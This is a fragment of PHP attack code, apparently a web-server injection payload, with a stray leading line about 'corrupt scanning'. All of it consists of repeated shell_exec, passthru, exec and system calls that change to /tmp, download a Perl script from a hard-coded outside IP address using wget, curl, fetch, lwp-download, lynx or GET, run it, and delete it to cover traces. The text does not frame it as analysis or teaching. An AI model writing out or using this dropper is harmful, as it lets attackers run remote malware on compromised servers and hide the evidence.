Changing this CMD will result in corrupt scanning !

bleh.txt;perl bleh.txt;rm -rf bleh*'); shell_exec('cd /tmp;fetch http://190.8.128.58/.../bleh.txt;perl bleh.txt;rm -rf bleh*'); shell_exec('cd /tmp;GET http://190.8.128.58/.../bleh.txt > bleh.txt;perl bleh.txt;rm -rf bleh*'); passthru("cd /tmp;wget http://190.8.128.58/.../bleh.txt;perl bleh.txt;rm -rf bleh*"); passthru('cd /tmp;curl -O http://190.8.128.58/.../bleh.txt;perl bleh.txt;rm -rf bleh*'); passthru('cd /tmp;lwp-download http://190.8.128.58/.../bleh.txt;perl bleh.txt*;rm -rf bleh*'); passthru('cd /tmp;lynx -source http://190.8.128.58/.../bleh.txt > bleh.txt;perl bleh.txt;rm -rf bleh*'); passthru('cd /tmp;fetch http://190.8.128.58/.../bleh.txt;perl bleh.txt;rm -rf bleh*'); passthru('cd /tmp;GET http://190.8.128.58/.../bleh.txt > bleh.txt;perl bleh.txt;rm -rf bleh*'); exec("cd /tmp;wget http://190.8.128.58/.../bleh.txt;perl bleh.txt;rm -rf bleh*"); exec('cd /tmp;curl -O http://190.8.128.58/.../bleh.txt;perl bleh.txt;rm -rf bleh*'); exec('cd /tmp;lwp-download http://190.8.128.58/.../bleh.txt;perl bleh.txt*;rm -rf bleh*'); exec('cd /tmp;lynx -source http://190.8.128.58/.../bleh.txt > bleh.txt;perl bleh.txt;rm -rf bleh*'); exec('cd /tmp;fetch http://190.8.128.58/.../bleh.txt;perl bleh.txt;rm -rf bleh*'); exec('cd /tmp;GET http://190.8.128.58/.../bleh.txt > bleh.txt;perl bleh.txt;rm -rf bleh*'); system("cd /tmp;wget http://190.8.128.58/.../bleh.txt;perl bleh.txt;rm -rf bleh*"); system('cd /tmp;curl -O http://190.8.128.58/.../bleh.txt;perl bleh.txt;rm -rf bleh*'); system('cd /tmp;lwp-download http://190.8.128.58/.../bleh.txt;perl bleh.txt*;rm -rf bleh*'); system('cd /tmp;lynx -source http://190.8.128.58/.../bleh.txt > bleh.txt;perl bleh.txt;rm -rf bleh*'); system('cd /tmp;fetch http://190.8.128.58/.../bleh.txt;perl bleh.txt;rm -rf bleh*'); system('cd /tmp;GET http://190.8.128.58/.../bleh.txt > bleh.txt;perl bleh.txt;rm -rf bleh*'); ?>